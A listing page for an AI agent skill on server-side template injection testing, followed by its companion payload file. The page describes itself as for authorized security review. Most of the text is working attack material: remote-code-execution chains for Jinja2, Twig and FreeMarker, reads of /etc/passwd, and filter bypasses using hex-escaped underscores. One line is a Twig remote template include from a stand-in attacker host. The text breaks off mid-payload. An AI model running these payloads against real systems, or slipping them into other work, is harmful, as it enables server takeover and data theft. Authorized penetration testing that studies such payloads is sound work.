
Ssti Server Side Template Injection
Fingerprint and test server-side template injection across Jinja2, Twig, FreeMarker, and related engines during authorized security review.
Overview
SSTI Server-Side Template Injection is an agent skill for the Ship phase that fingerprints template engines and supplies SSTI test payloads for authorized security review.
Install
npx skills add https://github.com/yaklang/hack-skills --skill ssti-server-side-template-injectionWhat is this skill?
- Engine fingerprinting decision tree starting from {{7*7}} and follow-on probes for Jinja2, Twig, EL, Smarty, ERB, and mo
- Per-engine payload matrices for information disclosure and RCE-style chains (companion ENGINE_PAYLOADS.md)
- Blind SSTI detection techniques documented alongside extended fingerprinting
- Stack-trace and error-message guidance when probes return 500s
- Structured escalation from math probes to engine-specific exploit primitives
- Multi-engine fingerprint decision tree with layered probes from {{7*7}} through engine-specific assignments
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 0/3 security scanners passed (skills.sh audits).
What problem does it solve?
Your app renders templates with user-controlled fragments and you do not know which engine you are facing or whether SSTI can escalate to code execution.
Who is it for?
Indie developers hardening Flask/Django/Jinja apps, PHP stacks with Twig, or Java template apps during authorized bug bounty or internal security passes.
Skip if: Builders without explicit permission to test a target, or teams that only need dependency CVE scanning without manual injection testing.
When should I use this skill?
Authorized security testing of server-side template render paths where user input may reach the template engine.
What do I get? / Deliverables
You narrow the template engine with a repeatable probe tree and apply engine-specific payloads to confirm SSTI risk before shipping or during a scoped audit.
- Identified template engine family
- Confirmed SSTI vectors and recommended remediation scope
Recommended Skills
Journey fit
SSTI testing belongs in Ship because it validates template-render surfaces before or alongside release, not during initial idea research. Security is the right shelf: the skill is an offensive testing playbook for injection and engine-specific RCE chains, not generic unit testing.
How it compares
Offensive template-injection playbook for manual verification—not a passive dependency scanner or generic OWASP checklist skill.
Common Questions / FAQ
Who is ssti-server-side-template-injection for?
Developers and security-minded solo builders who ship server-rendered apps and need structured SSTI fingerprinting and payloads during authorized assessments.
When should I use ssti-server-side-template-injection?
In Ship during security review of forms, search, PDF/email templates, or any user-influenced render path before production deploy or during a scoped pentest on systems you control.
Is ssti-server-side-template-injection safe to install?
The skill documents attack payloads for legitimate testing only; misuse against systems you do not own is illegal—review the Security Audits panel on this page and your agent’s network permissions before use.
SKILL.md
READMESKILL.md - Ssti Server Side Template Injection
# ENGINE_PAYLOADS.md — Extended SSTI Fingerprinting & Payload Matrix > Companion to [SKILL.md](./SKILL.md). Contains per-engine payloads, fingerprint probes, and blind SSTI detection techniques. --- ## 1. ENGINE FINGERPRINTING DECISION TREE ```text Send: {{7*7}} ├── 49 → Jinja2 or Twig? │ └── Send: {{7*'7'}} │ ├── 7777777 → Jinja2 (Python string multiplication) │ └── 49 → Twig (PHP numeric cast) ├── {{7*7}} (literal) → Not Jinja2/Twig, try others │ └── Send: ${7*7} │ ├── 49 → FreeMarker, Velocity, or EL? │ │ └── Send: ${class.getClass()} │ │ ├── Works → Velocity │ │ └── Error → Send: <#assign x=1>${x} │ │ ├── 1 → FreeMarker │ │ └── Error → Java EL / Thymeleaf │ └── ${7*7} (literal) → try #{7*7}, <%= 7*7 %>, {7*7} │ ├── #{7*7} → 49 → Pug/Jade or Ruby interpolation │ ├── <%= 7*7 %> → 49 → ERB (Ruby) or EJS (Node.js) │ └── {7*7} → 49 → Smarty (PHP) └── Error/500 → Check error message for engine name (stack trace fingerprint) ``` --- ## 2. JINJA2 (PYTHON) ### Information disclosure ```python {{config}} {{config.items()}} {{request.environ}} {{request.application.__globals__}} {{self.__dict__}} {{[].__class__.__base__.__subclasses__()}} ``` ### RCE chains ```python # Via config globals {{config.__class__.__init__.__globals__['os'].popen('id').read()}} # Via lipsum (Flask built-in) {{lipsum.__globals__.os.popen('id').read()}} # Via cycler {{cycler.__init__.__globals__.os.popen('id').read()}} # Via joiner {{joiner.__init__.__globals__.os.popen('id').read()}} # Via namespace {{namespace.__init__.__globals__.os.popen('id').read()}} # Via __import__ through builtins {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} # MRO subclass traversal (universal, no Flask dependency) # Step 1: Find Popen class index {% for c in ''.__class__.__mro__[1].__subclasses__() %} {% if 'Popen' in c.__name__ %}{{loop.index0}}{% endif %} {% endfor %} # Step 2: Execute (replace INDEX) {{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}} ``` ### Sandbox bypass when `_` is blocked ```python {{request|attr('\x5f\x5fclass\x5f\x5f')}} {{''['\x5f\x5fclass\x5f\x5f']}} {{config|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')}} # Via request.args to smuggle blocked keywords {{request.args.x.__class__}}&x=1 # Via request.cookies {{request.cookies.get('\x5f\x5fclass\x5f\x5f')}} ``` ### Sandbox bypass when `.` is blocked ```python {{config['SECRET_KEY']}} {{''['__class__']['__mro__'][1]}} {{()|attr('__class__')}} ``` --- ## 3. TWIG (PHP) ### Information disclosure ```twig {{_self}} {{_self.env}} {{_context}} {{app.request.server.all|join(',')}} {{app.request.cookies.all|join(',')}} ``` ### RCE chains ```twig {# Twig 1.x #} {{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}} {# Twig 1.x — system() #} {{_self.env.registerUndefinedFilterCallback("system")}} {{_self.env.getFilter("id")}} {# Twig 2.x/3.x via filter map #} {{['id']|map('system')|join}} {{['id']|filter('system')}} {{['cat /etc/passwd']|map('exec')|join}} {# Twig 2.x — reduce with passthru #} {{[0]|reduce('system','id')}} {# Twig — setCache for remote include (Twig 1.x) #} {{_self.env.setCache("ftp://attacker.com/")}} {{_self.env.loadTemplate("shell")}} ``` --- ## 4. FREEMARKER (JAVA) ### RCE via Execute ```freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} ${ex("cat /etc/passwd")} ``` ### RCE via ObjectConstructor ```freemarker <#assign ob="freemarker.template.utility.ObjectConstructor"?new()> <#assign br=ob("java.io.BufferedReader", ob("java.io.InputStreamReader", ob("java.lang.ProcessBuilder",["id"]).start().getInputStream()))> ${br.readLine()} ``` ### RCE via JythonRuntime (if Jython available) ```freemarker <#assign jr="freemarker.template.utility.JythonRuntime"?new()> <@jr>import os;